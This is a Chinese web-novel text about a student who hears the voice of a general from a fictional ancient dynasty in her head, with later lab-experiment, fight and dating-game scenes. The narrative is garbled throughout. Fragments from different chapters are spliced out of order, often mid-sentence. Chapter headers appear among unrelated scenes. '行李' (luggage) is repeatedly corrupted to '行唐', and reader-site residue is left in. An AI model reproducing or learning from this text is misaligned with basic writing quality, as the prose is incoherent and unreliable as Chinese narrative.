冷静一点，不管是灵异问题还是病理问题，这都说明情况在好转。 飞机缓缓地接近机场，阳光照射的影子在旁边的山坡上投射出机身的形状，乔梁听到对方感慨，[原来是在大鸟的肚子里啊。] 乔梁：欲言又止.jpg 她三岁的小侄女都…… 算了，如果以年龄算，这还是个只诞生一天的小宝宝呢，乔梁宽容地谅解了对方的认知局限——当然，她也没有出声纠正的意思。 接下来，降落、滑行、打开舱门。 乔梁从行唐架上拿了自己的背包，随着人流往外走。脑海中的声音彻底安静下去，一切都很正常，仿佛刚才航行过程中发生的一切都是云层上的一场怪异的梦境。 乔梁一边打开手机给接机的爸妈发消息，一边人还有点恍惚。 难不成真的是做梦？ 又往前走了一段，洗手间的标志出现在视野中，乔梁没多想就要往那边走，但是快到了入口突然一顿。 她没记错的话，脑子里的声音是个男声。 声音明朗清亮，兼具了磁性和少年质感，要不是出现的方式太诡异，其实是个隐形声控的乔梁愿意只靠声音给对方打八分。 大概是乔梁在这里站了太久，旁边有人问，[怎么了？] 乔梁下意识地回：“没什么……” 刚刚开口就猛地顿住。 ……这个声线似乎有点熟悉啊？ 她僵硬地回头，旁边拖着行唐的人来去匆匆，哪个也不像有闲心和一个路人搭话的样子。 声音还在继续，[你想进去吧？为什么不进去？] 乔梁：“……” 我为什么不进去，你难道不知道吗？！ 她先是谨慎地打量了一圈周遭，确定大家都在闷头赶路、没有哪个人在意这边有个“突然自言自语”的奇怪路人，这才悄悄地松了口气。 但这个卫生间肯定是去不成了。 乔梁快步往行唐转盘走去。 或许是刚才那句无意识地应答让对方确认了乔梁确实是个可交流对象，先前已经安静下去的声音又开始喋喋不休，[上面是什么？它也在发光，是夜明珠吗？刚才的琉璃好大好平整，怎么打磨的？] 乔梁：“……” “夜明珠”是什么鬼？武侠小说看多了吧？琉璃？玻璃？虽然不了解具体工艺流程，但是窗户玻璃怎么看都是液体流平不可能是打磨吧？…… 问题内容过于难以形容，又是声音因为在自己脑子里响起来，乔梁不自觉地生出一种羞耻的感觉：难道我的内心里还藏着这么中二的一面吗？脚趾扣地。 她一路煎熬地走到电梯前，脚步微微顿了一下。 果不其然，下一秒脑子里传来声音，[哇！] 乔梁：“……” [这是什么？它自己在动？里面有人拉着？它为什么能一直不停地往前？消失的地方去哪了？] 乔梁：……这个世界上有一种驱动叫做电机，有一种物理结构叫做传送带。 她表情麻木地踏上了自动扶梯，恍恍惚惚地等到了自己托运行唐。 等到她拖着行唐箱走出行唐提取处，看到接机台后面等着的爸妈的时候，终于忍不住了。她眼圈一红，语气哽咽地喊了一声“妈”，拖着行唐箱一路小跑过去。 亲爱的妈妈，你的女儿可能罹患了某种精神疾病。 说实话，乔梁至今没弄明白她妈到底怎么精准地锁定她的位置和行动的。 她动作稍微顿下，但紧接着就在那一连串哆哆剁菜声中，提高音量扬声应了一句“好”，同时自然而然地拨开了蓝色接水口。 喝热水？怎么可能？ 没有在暖气房里吃雪糕已经是她对这个家最大的尊重了。 事实证明，说谎是要遭到报应的，乔梁刚刚把杯子端起来，就听见一个说不上熟悉，但绝对印象深刻的声音——[这是什么？] 乔梁手一抖，杯子直接砸到了地上。 伴随着这“咣当”的一下声响，厨房的声音一停，乔母匆匆出来，急着声问，“怎么了？” 看了这一地碎片，她先是急着看乔梁，问：“手没事吧？划着没？” 乔梁表情勉强地摇了摇头。 她想要说什么，但在对面亲妈明显过度紧张的神情下，又咽下去：要是这会儿说了，绝对会演变成家庭大事件。 乔梁顿了一下，佯作自然地开口，“我把碎片清理一下。” 却被乔母赶苍蝇似地往旁边赶去，“去去去，添什么乱呢？一边呆着去。” 乔梁：“……” 在名为“帮忙”，实则“碍手碍脚”地协助完亲妈处理了自己造成的残局之后，乔梁端着一杯崭新的、冒着热气的水回到了自己的房间。 她心不在焉地把杯子往旁边一放，摇晃着鼠标打断电脑休眠，打开搜索引擎。 在对着键盘表情凝重地思索了一会儿后，乔梁深吸了口气，抖着手键入了关键词“精神分裂的自我诊断”。 她之前也查了一点内容，得到了一堆类似于“听觉幻象”“内心言语”“布罗卡氏区”之类的专业术语，但这些描述都和她自己似乎都不那么相符合。倒是无意间瞥到的一句“精神分裂的感知觉障碍表现”让她心底一突，晚上辗转了好久。 ……不会那么惨吧？ 在刚才的那句询问之后，那声音就没再出声，但是乔梁就是有种“他还没走的”感觉，证据之一就是现在胸腔中翻涌的压都压不下去的情绪。 明明这么凝重严肃的时候，心底却莫名有一种又疑惑又好奇还跃跃欲试的探索欲。 ——就不能让人好好沉重一下吗？！ 乔梁强行忍耐了一会儿，但是对方好似浑然不觉，随着页面的跳转，那惊异好奇的情绪越发充溢胸腔。明明屏幕上每一行字都是沉重的病理性描述，但是乔梁这会儿满心都是“哇”“哦”之类的感叹词情绪。 在对方再度开口询问“什么叫‘病因未明的重性精神病’”时，乔梁终于绷不住了，她哽着声指责，“你别太过分了！” 唐问旸：？？？ 他干什么了？他只是问了个问题而已。 她抱着侥幸心理，紧绷着声音试探了一声，[唐问旸？] 已经明白过来这是什么情况的唐问旸：[……] 这种状况下，好像回不回答都不太对的样子。 最后，他还是硬着头皮低应了一声，[是我。] 乔梁手一抖，本来要关的淋浴整个拨到了凉水档，她顶着一头的泡沫被浇了个透心凉。 托这个的福，乔梁一下子冷静下来，她抖着手关掉淋浴，不知道是急得还是冻得，手指哆嗦着扯过毛巾，一边胡乱擦着一边警告，[你不许看！] 唐问旸：[……] 唐问旸沉默了好一会儿，忍耐着开口，[是你别看……] 乔梁意识到什么，猛地闭上眼。 但是互通的五感中并不仅仅有视觉，唐问旸没觉得情况好多少。 浴室里乒雳乓啷的声音也引起了章琪的注意，后者在外面扬着声问：“怎么了？摔倒了？” 说着，就听见门把手转动的声音。 “没！”乔梁拔高声调，“我没事！妈你别进来。我洗好了，马上就出去！！” 她这么说着，也顾不得擦没擦好，抓过一旁的浴巾把自己包住，开门就冲向自己的卧室。 章琪看着风一样卷走的女儿，在原地愣了好半天，看着一路留下的滴滴答答的水迹，终于回过神来，“头发没擦！” 乔梁：“我回屋擦！” 她这么回了一句，“啪”地把门关上。 虽然她妈进去了也发现不了什么，但乔梁莫名紧张。 总算安全到达卧室的乔梁大松口气，她背靠着门一点点滑落，非常冷静地开口发问：“你什么时候走？” 唐问旸：[……] 都问出声了，看起来可一点也不冷静。 但是这问题，他还真没办法给个确切的答案。 [我三晚上没有阖眼了。] 什么时候醒，完全看什么时候有人叫他。不过就他睡前和赵敦益的对话，对方看起来没事不会来找他。 乔梁：“……” 乔梁反手抱紧了人，体温透过接触处传来，终于缓解了点从心底泛上来的冰凉感觉，她缓缓地舒了口气，哑着声：“我看见，他杀了我。” 并没有看见什么确切真实的画面，但那萦绕而来的危险感却刀刃一样在神经上切割。 鲜血溅开，冉铭脸上还维持在刚才的表情，整个人都踉跄着往后倒去。 失去了指挥者，怪物陷入了短暂的混乱，唐问旸回头看了黎飞一眼，“快走！” 黎飞这才如梦初醒，趁着混乱的间隙，飞快地离开了现场。 唐问旸正想要转身对付那些怪物，却被已经倒下的冉铭死死抓住脚踝，对方注视来的眼神堪称狂热，“第一代、第一代实……实验……” 唐问旸：“……” 他横着将刀插下去，直接切断了对方手臂的神经，冷静地，“是唐问旸。” 不是什么第一代实验体。 赤色的鲜血从刀身上蜿蜒而下，很不合时宜的，唐问旸想起了那水汽蒸腾里的旖旎一幕，一点先前未曾深想的疑虑冒了出来。 ……她流血了。 弄伤了？还是生理周期？ 第 44 章 第 44 章 虽然有唐问旸提前提醒，又有了前几次的配合实验，但是真的被花央告诉“正式开始”的时候，乔梁还是有点不真实感。 她尽力压下那点恍惚，转向花央，“我该怎么做？就像是平常那样？” 花央反问：“你好像不怎么高兴？这一切马上要结束了，你不开心吗？” “只是觉得不太真实。” 花央专注地看了她一会儿，突然重重地叹了口气，“真可惜，我还挺喜欢有个‘妹妹’的，不过要乖巧听话才好。” 脑海中兀地闪过画面，乔梁仓促的一个矮身。 花央手里的注射器落了个空，尖锐的针头在灯光下闪着一星寒光。 意识到那东西刚才对准了她的脖颈，乔梁只觉得浑身都凉了一层。 “乖一点，别乱动。弄伤身体就不好了。”乔梁这么打量机舱间，心底却泛起一股非常怪异的情绪。 如果要形容一下，仿佛是看见了一群小蓝人在她面前跳草裙舞——是登机前刷手机的看到的、某博主对自己蘑菇中毒幻觉详细描述，乔梁觉得用在这里就很贴切。 乔梁：？ 什么鬼？！ 她觉得机舱不奇怪，反而自己很奇怪。这莫名其妙的情绪是怎么回事？而且刚才听见的声音也很怪啊…… 她都没有找到说话人。 连疑似的也没有。 虽然情况处处都透露着诡异，但大脑的困倦和意识中翻涌的违和感对抗的半天，乔梁放弃了挣扎。 ——可能是做梦吧。 她随便找了个说得过去的理由，搪塞过自己后就准备睡觉。 机舱座椅靠背绝对不是为正常女性身高设计的，乔梁先前已经以各种姿势尝试过了，这会很干脆地放弃背倚，而是偏头靠上了舷窗的窗框。 她闭眼前又扫了眼窗外的景象。 大概是飞机飞过了刚才那段云层浓密的多云区域，这一段航道可见度很高，能够透过稀疏的几丝云缕看到下方地面的景色。 刚才没有找到声源的声音再一次响起，这次语调要惊异得多，[这是在天上？！] 乔梁：？！ 她一个激灵，彻底清醒了。 因为有了先前的疑惑，她这次很清楚地察觉到，这个声音是在她脑子里响起的。 大脑中的清亮的男性声音、胸腔中古怪的不属于自己的情绪、内容怪异的提问……果然是在做梦吧！哈哈。 乔梁正这么想着，却听见那声音竟给出了回应，[原来是做梦啊。] 乔梁：“……！” 莫慌，遇事不决，先问问某度某书。 她拿起了手机。 她又放回去了。 飞行模式没有网。不需要挑选天资卓著的勇士，但与之相对的—— 唐问旸低喃，[……练兵。] 重要的是“练兵”。 让士卒接受、熟悉，并将这种配合视为本能。 唐问旸的声音很低，但是意识交流倒是不存在听不听得清的问题。 乔梁闻言，连忙打开之前的收藏：《纪效新书》白话翻译对照版。 [你要不要看看这个？] 提起鸳鸯阵当然免不了提起戚家军，提起戚家军就要想起这本《纪效新书》。 但是乔梁看了个开头就放弃了。 虽然网络知识共享很方便，完全排除了文言文障碍，但是老实说，乔梁看得还是一头雾水：每一个字都认识，组合起来的意思也能看明白，可就是隔了一层——完全是字面理解、看完看了个寂寞的感觉异常明显。 她非常坦诚地承认，[我看不懂。] 唐问旸听不出情绪地“嗯”了一下。 看出来了。 从那个鸳鸯阵整理的资料就知道，这彻彻底底是个外行……或者更早一点，看对方画铠甲的时候就知道了。 他沉默了一会儿，轻声问：[……为什么？] 乔梁手指还摁在鼠标上，不明所以，[什么‘为什么’？] [整理这些东西很费力吧？还很耗时间。] 乔梁顿了下，[就……还好。] 确实有点废人。 唐问旸：[对你又没有什么好处。] 乔梁不自觉拧眉，[‘好处’什么的……]也太冷漠了吧。 [你遇到了问题，我刚好能够帮上忙，顺手帮一下，不是很正常吗？] 唐问旸：[‘我’？你好像不太喜欢我吧？] 乔梁：……原来你有这种自知之明啊。 事情被戳穿，乔梁反而心虚起来。 她支吾了下，[也、也没有不喜欢啦。] 虽然有时候确实挺烦的。 觉得再进行下去可能话题不妙，乔梁试图绕过这个它去，[和这个没关系啦，人不就应该互帮互助吗？] “互帮互助”吗？ 唐问旸琢磨了一下这个词，突然问：[就算我是个坏人？] 乔梁下意识回，[就算——] 嗯？！ 她一下子卡住了。 说起来，她对对方确实没什么了解来着，所有关于这个人信息，都是对方主动透露的。要是这人真的是个骗子的话……她好像也分辨不出来。 感受着心底疯狂打鼓、七上八下的情绪，唐问旸“扑哧”一下子笑出声。 [逗你呢。] 果然是个小姑娘。 他略微沉下语调，语气正色地解释，[定平节度使兵逼关中、意图谋反。顺帝亲自下诏讨逆，我这次是随义父去平叛的。] 起码这次是如此。 乔梁没什么实感的“哦”了声，仿佛听了什么电视剧的背景介绍。 别说信不信了，她都根本没法生出什么情绪来。 顿了一下，她倒是想起了公交车上的那次，那次就是对方主动提议帮她。 既然看不惯那种恶劣行为，又“见义勇为”，应该不是什么坏人吧？而且就两人现在的状况，对方骗她图啥啊？不能骗钱，又没法图色。 这么想着，乔梁稍稍安下心。 这边，唐问旸解释完后，目光顺势落到了前面的屏幕上。 本来排列整体的桌面上多了许多凌乱的图标，下面缩略显示着文件标题：《藤条快速软化》《一种藤条软化》《植物纤维的基本结构》…… 乔梁也察觉到唐问旸的视线落点，她解释，[你那不是要编织藤牌吗？我昨晚查了点资料，但是这些用不上，等我再研究研究。] 藤牌编织需要预先处理藤条，这个过程短则几月、长则以年计，唐问旸显然不可能等那么久。 好在一切追求效率的现代社会总有快速处理办法，但是乔梁下载了几份专利，但很快就发现问题：上面需要的材料都是提纯后的化工制品，唐问旸那边显然没有这么方便的条件，照搬根本不现实。乔梁准备再查查资料，实在不行从原理开始研究。 乔梁正想着这些，却觉得心底生出中怪异的情绪，这感受的来源显然并不是她的。只是这情绪的组成过于复杂，她一时有点没法准确地给下个定义。 乔梁按照自己的思路理解了一下，觉得对方可能是在担心。 她顿了顿，出声安慰：[再多查一查资料，总会有办法的。] 方法都是现成的，问题只在于能不能找到合适的原料而已。 唐问旸却是想起了乔梁刚才的话：“顺手”帮一下……吗？ 他无声地轻笑了一下。 [问旸，我的字。你可以叫我“唐问旸”。] 带着低沉磁性的声音在脑海中响起，胸腔中有种莫名鼓噪但并不讨厌的情绪。 乔梁怔了怔，略感迷茫地“哦”了一声。 ……这人的自我介绍还分两次吗？ 有两个名字了不起啊！ 没网的手机和板砖有什么区别？！ 还是有点区别的——里面有她提前缓存好的漫画，本来打算睡不着的时候打发时间用——但是这显然不能的解决当下的问题。 那个不知名的存在显然看见了乔梁的动作，极具探究精神地询问：[这是什么？] 乔梁没有回答。 她现在还不能确定自己身上发生的到底是玄幻灵异事件，还是精神病理变化，最好不要轻举妄动。就算退一步来讲，撞鬼的最好解决方法也是“不要让鬼知道你撞见了它”。 虽然现在似乎迟了一步，但是乔梁还是保持了高质量的沉默。 她甚至还闭上了眼睛。 完美的结果就是，她现在睡一觉，醒来后发现一切都是一场梦。 唐问旸那边被微妙滤镜的事连他本人都不知情，乔梁自然无从得知。随着开学上课，乔梁生活也渐渐跟着新学期的课表步入正轨。 不过毕竟假期刚过，大家的心还都飞在外面。刚一到周末，401的几人相约就一块儿去了附近的商厦。 虽然以几个学生的购买力，也买不了什么东西，但是逛街重点就在一个“逛”字么~ 说是一块儿逛街，大家的兴趣到底不一样，在陪着叶竺妍狠试了一番衣服之后，几人又到了欧阳艺很感兴趣的电子产品店。其他几人对此的兴趣只能说是一般，又因为先前陪着逛衣服确实废了不少精力，体力最废乔梁率先宣告退出。 她跟欧阳艺打了个招呼，表示自己去一边的奶茶店等着。 欧阳艺习以为常地挥挥手，另外几人也都习惯，倒是脑子里的那个声音颇感遗憾，[再看看嘛~] 乔梁：[……]虽然过程几度波折，但是乔梁还是和脑海里的那道声音进行了初步的交流。 确定了自己身上是发生的是灵异事件之后，乔梁根据先前的对话就对对方的所处的环境有所猜测。事实也确实和乔梁猜想的相去无几，对方正处在工业革命前的封建时代，但朝代却是个没听说过的、名字为“顺”的王朝。 架空么~ 阅遍漫画的乔梁对此接受程度良好。 但这仿佛是什么少年漫开端的情况还是让她心里咯噔了一下。 她对自己现在的生活还是挺满意的，可一点儿都不想去拯救世界什么的。 脑海里的那声音听起来年纪不大的样子，但似乎已经是领兵的将军了。 恰巧乔梁这次漫画灵感是个爱情故事，家道中落的歌女和少年将军。 意外遇到这种仿佛和男主角撞设定的情况，她当然是趁机问了不少细节……说起来，这该不会是她的金手指吧？漫画人物附身到作者身上什么的。 乔梁刚这么想着，就碰了壁。 唐问旸（那声音自我介绍的名字）对自己的事似乎不愿意多谈的样子。乔梁不喜欢勉强人，又对别人的情绪非常敏.感，察觉到唐问旸隐约透露的态度，即便心底猫抓似的好奇，还是咽下了一个又一个的问题。 不过就算如此，乔梁还是在和对方的交流中得到不少启发。 灵感爆发之下，她大修了自己的背景设定。 一改就改到了凌晨三点。 然而，第二天早上八点，房间门被准时敲响。 乔梁睡梦中被这声音惊醒，痛苦地拧紧了眉头。 她翻了个身，正要捞过枕头蒙住头，却突然意识到什么，猛地坐起来。 就在她起身的下一秒，房间门就被打开，乔妈妈开门走了进来。 乔梁瞬间清醒过来，先声夺人，“妈！我说了，进我房间要敲门。” 章琪不以为意，“我不是敲过了。” 乔梁不大高兴地瘪嘴。 您老那敲和没敲有区别吗？ 章琪走上前去拉开窗帘，瞬间明亮的室内让乔梁不适的眯了下眼，就在她以为自己蒙混过关的时候，听见她妈问：“昨晚几点睡的？又熬夜了？” 乔梁：“……” 她支支吾吾：“也没几点，十点多……十一、二点吧。” 自己养的女儿，尾巴一翘就知道朝哪个方向，章琪一看就知道这孩子没说真话。 她当即肃下表情，待要说什么，转念又想到孩子才刚回来没几天。 她略微压下了那情绪，神情缓和，不过还是开口告诫，“以后不许那么晚睡了。” 乔梁非常诚恳地“嗯嗯嗯”点头。 下次是下次嘛~ 章琪拉开了窗帘，就顺势整理起了桌上的杂物，一眼就看见乔梁睡前没来得及收的数位板。她拧了拧眉，语气不满，“又画那些没用的？” 乔梁表情微微僵硬。 她停顿了下，小声辩驳：“……不是没用的。” 章琪没听清。 她一边把数位板放起来，一边絮絮叨叨地嘀咕着，“早知道就不送你去学这些了，净影响学习。” 合着不是你受累。 大概这无声吐槽被听见了，对面很爽快，[那就让我来。] 乔梁顿了一下，[不、不用。] 就唐问旸上次那反应，她担心自己室友的人身安全。 唐问旸还想说什么，随着乔梁的奶茶到手，他一下子安静下来。 隐约猜到原因乔梁噎了一下：这是不是也太好哄了？ 几分钟后，同样精力条见底的叶竺妍也过来了。 两人各自捧着一杯奶茶刷手机，乔梁走着神构思着自己的漫画分镜，叶竺妍不知道是在水群还是和谁聊天，打字速度溜到飞起。 过了一会儿，对面突然发出一声惊呼。 乔梁抬头：“怎么了？” 叶竺妍：“咱们学校的运动打卡出新规了！” 她一边说着，一边把手机递过来。 乔梁抬头望去，似乎是个小巷子，幽暗深邃看不清前路，天空也像是被无形地分隔开来，像是雷雨前夕的天气，光线明暗地闪烁着。 乔梁短暂地停住了脚步。 她定定地注视了那边片刻，终究还是将脚尖转向了“回家”的方向。 但还没来得及踏上去，那边情况一阵变化，空间像是被打碎的镜面，碎片四散，一个血淋淋的人就这么砸了下来。乔梁隐约觉得有点眼熟，但又确认自己记忆里并没有这个人。 还没来得及深想，就看见那人挣扎地向着她的方向伸出了手。 不能过去。 别多管闲事。 脑海中几乎第一时间出现了这样的声音，乔梁也确确实实站在原地站住了脚步。 乔梁觉得自己会选择离开的，如果现在所能想起的一切是她全部的经历，那么她或许会纠结挣扎，或许会迟疑不定，但是最后一定会选择袖手旁观。 因为她所追逐的那平稳安逸的人生，承担不起一点这种可能的意外，她绝不想有什么东西打破她的生活。 本该如此的。 但乔梁发现自己几乎没有犹豫地往那个方向走去。【你现在阅读的是 】 【END】 第 45 章 第 45 章 黎飞赶过来的时候，到底迟了一步。他简直眼睁睁地看着花央把乔梁放进了那个看起来就很不妙的设备里。 他当即想要冲过去，却被花央放出来的实验体拦住。 一番缠斗后，黎飞身上添了好几道血痕，这还是因为那个实验体看起来比起伤人来，更倾向于保护身后的设备。 看着那边被仪器遮挡得看不见身形的乔梁，黎飞咬了咬牙，选择强行冲了过去。 他拼着重伤被砸了过去，甚至没有立刻爬起来，而是先一步抬手扯断了所有能扯断的数据线，试图把乔梁从里面扒拉出来。 没想到黎飞会这么干，本来在一旁态度轻松的花央终于变了脸色。 他抬手比划了个手势，实验体立刻向着黎飞冲了过去，带着指虎的拳风直直地向着人砸去，在空中发出尖利的破风呼啸。 但最后响起的并非拳头砸到血肉的闷响，而是一声更加清脆的动静。 原本就被黎飞撞了个半损的设备这下子被毁了个彻底，而黎飞本人被千钧一发赶到的唐问旸拖到了一边。 乔梁重新回到这边世界时，正好看见了这混乱的一幕。四目相对，两个人都尬住了。 脑子里的声音还在说风凉话，[你看，我都说别过去了。] 乔梁：[……闭嘴吧你！] 她很快收拾好表情，仿佛什么都没有发现一样打了个招呼，“好巧啊，瑶晗你也在。” 沈瑶晗也飞快回神，放低了声音，语气温柔道：“好巧。” 唐问旸“啧啧”了两声，不知是为两人这粉饰太平的举动、还是为对面的前后变脸感慨。 乔梁眼皮跳了跳，没理那个看热闹不嫌事大的，对对面提出邀请，“我下午的课在303，准备提前过去？你呢？” 沈瑶晗连忙点头：“我也是。” 两人这么搭着话往上走。因为都是低层，两人直接走的楼梯，沈瑶晗的教室在二楼，准备分开的时候，乔梁却被叫住了。 乔梁有点意外的回头，却见沈瑶晗表情犹豫。 她踌躇了一下，开口：“乔梁……你这周六、有没有安排？” 乔梁这几天被唐问旸磨得够呛，听见这个熟悉的时间点，梁直条件反射地一口否认，“周六不行！” 这干脆又利落的拒绝一出，两边都愣住了。 尴尬无言的对视中，脑海里的闷笑声格外明显。 这毫不掩饰的愉快情绪实在很有幸灾乐祸的嫌疑，但乔梁恼怒的情绪还没来得及酝酿起来，却听见那道低沉带笑的声音在意识响起—— [说个‘不’而已，有这么难吗？] 这不是说出来了吗？ 纷杂的记忆涌入脑海，来不及做更加细致的整理，乔梁先一步做出了行动上的选择。她快步往其中一个方向跑去，按下了控制台上最显眼的按钮。 大量的麻醉性气体释放，乔梁抬手给自己注射了抽屉里的中和剂。 这是花央实验室里的紧急制动措施，效果产生得很快。等到乔梁走过去的时候，那个实验体已经倒在了原地。 不过唐问旸看起来也受到了不轻的影响，正拄着刀半跪在原地。 一旁的黎飞更不用说了，连吭都没吭一声就晕过去。 乔梁先是检查了黎飞的情况，确定没有什么立刻致命的伤势后，才转向唐问旸。 唐问旸这一觉虽说睡得浑身酸疼、但到底恢复了精神。 心情不错之下，听闻吴家的邀约也没发什么牢骚，还不等杜彦之解释什么，他就很干脆地一口应下。 杜彦之一愣。乔梁正在努力忍住打哈欠的欲望。 昨天两杯奶茶喝下去，晚上不出预料的失眠了。她睁眼盯着床帘顶棚看到了凌晨两点，终于酝酿出来点睡意，早上五点又自然清醒。 乔梁：“……”最后乔梁带着热量爆.炸的“卡路里许诺”，还有多出来的三块手机下了楼。 她有点怨念，[……你还真是不客气啊。] 居然全都答应下来了。 唐问旸浑不在意地笑了声，[有什么关系？] 乔梁小声嘟囔，[这么说也是啦……] 确实没错，大家都不是在意那点吃的的人。但是顺便帮忙跑个步而已，还蹭吃蹭喝，而且唐问旸这都不是“蹭吃蹭喝”、是“大吃大喝”了。 乔梁还在心底嘀咕这些，却听唐问旸道：[你根本不会拒绝人吧？] 乔梁一愣。 这骤然的沉默中，唐问旸像是看破了什么一样，哼笑了声。 还不等乔梁想出什么结论，就听唐问旸接着，[我这也是帮你朋友跑步了，你呢？就没什么感谢表示吗？学校的钵仔糕味道不错，正好今天跑的时候经过……] 乔梁：？？？ 乔梁：[做梦去吧！] 别太过分啊！ 都已经坑了她室友三份了，还想从她这多敲一点，两头捞也没有这样的啊？！ 唐问旸不太在意地低笑了一声。 看，拒绝他这不是挺爽快的吗？ 还有另一个不幸的消息，她今天满课。 在昏昏沉沉地度过了上午两节大课后，乔梁也没什么胃口，她在教学区买了点三明治对付了一下午饭，趁着午间趴在教室里小睡了一会儿，总算能睁着眼睛上下午的课了。 但依旧很困…… 乔梁努力把视线放在投影屏上，试图捕捉耳中的每一个字眼，但是眼前的文字渐渐重影，耳中的声音也变成了无意义的嗡鸣——非常催眠。 乔梁头往下跌了一下，瞬间清醒。她搓了把脸，拿起笔来，尝试记笔记提神。 五分钟后，又再次重复上个循环。乔梁最后也没和爸妈说那天自己在飞机上的诡异经历。 因为从机场出来之后，那道莫名的声音就没再出现。 乔梁乐观地想着：说不定只是意外呢。 果然，接下来的一整天都无事发生。 长久离家后的第一天回来，乔梁受到了爸妈无微不至的照顾，喝口水都恨不得送到嘴边的那种。 说实话，这过于浓厚的爱意让人有点难以忍受，乔梁的十分感动地受用了一会儿，不得不找了个理由躲到了屋里——她爸妈已经开始旁敲侧击她有没有交男朋友了…… 在父母那理所当然的认知里，仿佛学习相关的任务在高中毕业之后就彻底结束，人生进入到了一个新的阶段。 对此，期末复习得差点猝死的乔梁有话要说。 乔梁回屋在室友群里吐槽了一下这事，果不其然地得到了一系列共鸣回应。 室友群里的四人闲拉家常地聊了会归家感受，扯了一会儿后，话题自然而然地结束。乔梁也收起了手机，拿出了自己的数位板。 好在这是节大课，下午第一节又是最容易犯困的时候，乔梁在其中并不显眼。 终于熬到了课间，几乎什么都没听进去的乔梁放心往桌子上一趴，连教室里突然变得嘈杂的交谈声都成了白噪音，她差不多是秒睡，当然也没听见旁边的交谈。 他想想那日唐问旸的态度，自行给人找了原因解释，想来是长途奔袭、太过疲累，以至于精神不佳，烦于应付…… 年轻人嘛，一时脾气也可以理解。息州。 安思范身体抱恙这件事其实出征路上就有显露，但是大军出征并不是件小事，就此班师显然不现实，故而安思范一直有意压着消息，只是到底没能藏住。 泄露军情的那人当然已经被处置了，但是息州战况本就焦灼，这消息一出，士气散去、己方立刻就陷入了劣势。安思范本就人在病中，被这消息气得够呛，病又生生地重了几分，这才是真的病况凶险。 安恒德也是因此有退兵之意。 一时成败只是小事，主帅要是这么病故，朔州才会彻底陷入乱局。 想想现在朔州的情况，难不成真的让安恭义那一介小人掌事吗？！ 安思范醒后，听到安恒德决定后，当即把人臭骂了一顿。 正巧这会儿禹定的回信送来，安思范沉着脸看后，却是表情一霁。 少顷，竟是忍不住拊掌大笑，“哈哈哈，好！不愧是我家儿郎！有我当年风范！！” 安恒德目光落在被安思范放在一边的信上，飞快扫过几眼，却是眉头拧起。 ——梁直胡来！ 该不会是唐问旸线的cg地吧。 唐问旸像是并不意外乔梁对这地方的熟悉，他抬手扬了扬手里的丝带，“要系吗？” 乔梁使劲点点头。 果然是啊！ 这是唐问旸线的结局cg，在游戏的剧情线里，两人因为碰巧路过，参加了一个小型的聚居部落的群里婚礼仪式。现实世界当然赶不上那样的巧合，仪式的时间早就过去了，但并不影响两个人自由行动。 唐问旸准备得很齐全，连笔都带了。 一阵忙碌后，写着两个人名字的丝带被系到树枝上。 大概是这地方的气候特别，明明都已经入秋的天气，居然还有萤火虫，点点萤光落在刚刚系上的缎带上，场景梦幻至极。 乔梁忍不住往后退了一步，静静地欣赏这如梦似幻的一幕。 良久，她感慨着开口，“我还以为是游戏cg的夸张，没想到会真的有这种地方。” 唐问旸转头看过去：“游戏？” “是啊，恋爱游戏。”乔梁笑着看了过去，“为了攻略你，我可是很努力的。” 唐问旸怔然。 不期然地回忆起梦中所见的那一切，点点滴滴的违和感涌上心头，最明显的还是，“你送的那些礼物？” “你‘看’见了啊？”也想起自己游戏里干的好事，乔梁表情微微尴尬起来。但少顷，她还是抬头认真看了过去，“但这里不是游戏，是我选择的现实。” 朦胧的月色为她镀上的一层银辉，在这幻梦般的景色下，唐问旸也有了片刻恍惚。 他忍不住上前一步，将人拥入怀中。 切实的触感通过肢体传入脑中，证实了那并不是绮丽的梦境，而是确确实实的真实。 ——是无数的巧合和意外，带来了独属于这个世界的奇迹。【你现在阅读的是 】